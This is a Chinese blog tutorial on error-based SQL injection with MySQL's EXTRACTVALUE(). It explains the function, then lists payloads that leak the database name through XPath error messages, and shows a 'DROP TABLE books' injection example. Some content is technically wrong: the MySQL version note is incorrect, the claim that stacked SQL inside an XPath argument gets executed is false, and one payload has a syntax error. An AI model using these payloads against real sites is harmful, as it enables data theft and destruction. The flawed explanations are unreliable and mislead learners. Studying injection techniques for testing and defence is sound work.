【sql注入-报错注入1】extractvalue()函数 报错注入

目录

extractvalue()报错注入

一、语法介绍:

二、报错原因

网络安全小圈子


(***注:注意看版本要求)

extractvalue()报错注入

一、语法介绍:

版本:

MySQL<5.0.x


语法:

EXTRACTVALUE(xml_expression, xpath_expression)

xml_expression是一个XML类型的字段或表达式,xpath_expression是一个XPath表达式,用于指定要提取的节点。


原理:

  1. 首先,函数会对xml_expression进行解析,将其转换为一个XML文档对象。
  2. 然后,函数使用xpath_expression指定的路径来定位要提取的节点。
  3. 最后,函数返回找到的节点的值


使用:

假设一个XML类型的字段xml_data,如下

<book>
  <title>Harry Potter</title>
  <author>J.K. Rowling</author>
  <year>2001</year>
</book>

可以使用extractvalue()函数来提取其中的节点值,如下

SELECT EXTRACTVALUE(xml_data, '/book/title') AS title,
       EXTRACTVALUE(xml_data, '/book/author') AS author,
       EXTRACTVALUE(xml_data, '/book/year') AS yearFROM books;

上述SQL语句将从xml_data字段中提取出"title"、"author"和"year"节点的值,然后将其作为结果集返回



二、报错原因

产生原因:

在extractvalue()函数中,如果xpath_expression参数可以由用户输入控制,攻击者可以构造恶意的XPath表达式,从而执行注入攻击。例如,攻击者可以构造一个恶意的输入,使得xpath_expression参数成为一个恶意的SQL语句。


示例:

SELECT * FROM books WHERE title = EXTRACTVALUE(xml_data, '/book/title')

如果xpath_expression参数可以由用户输入控制,攻击者可以构造一个恶意的输入,例如:

'; DROP TABLE books; --

这样,最终构造出的XPath表达式为:

/book/title'; DROP TABLE books; --

当该恶意输入被传递给extractvalue()函数时,它会将恶意的XPath表达式作为参数执行。由于XPath表达式中包含了一个SQL注释符(--),后续的SQL语句将被忽略,从而导致DROP TABLE books语句被执行,删除了books表。


payload:

and (extractvalue(1,concat('~'(select database()))));

and (extractvalue('anything',concat('/',(select database()))));

and (extractvalue('anything',concat('~',substring((select database()),1,5))));

and extractvalue(1,concat(0x7e,(select database()),0x7e))#



网络安全小圈子

README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge

  • 0
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 22
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 22
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值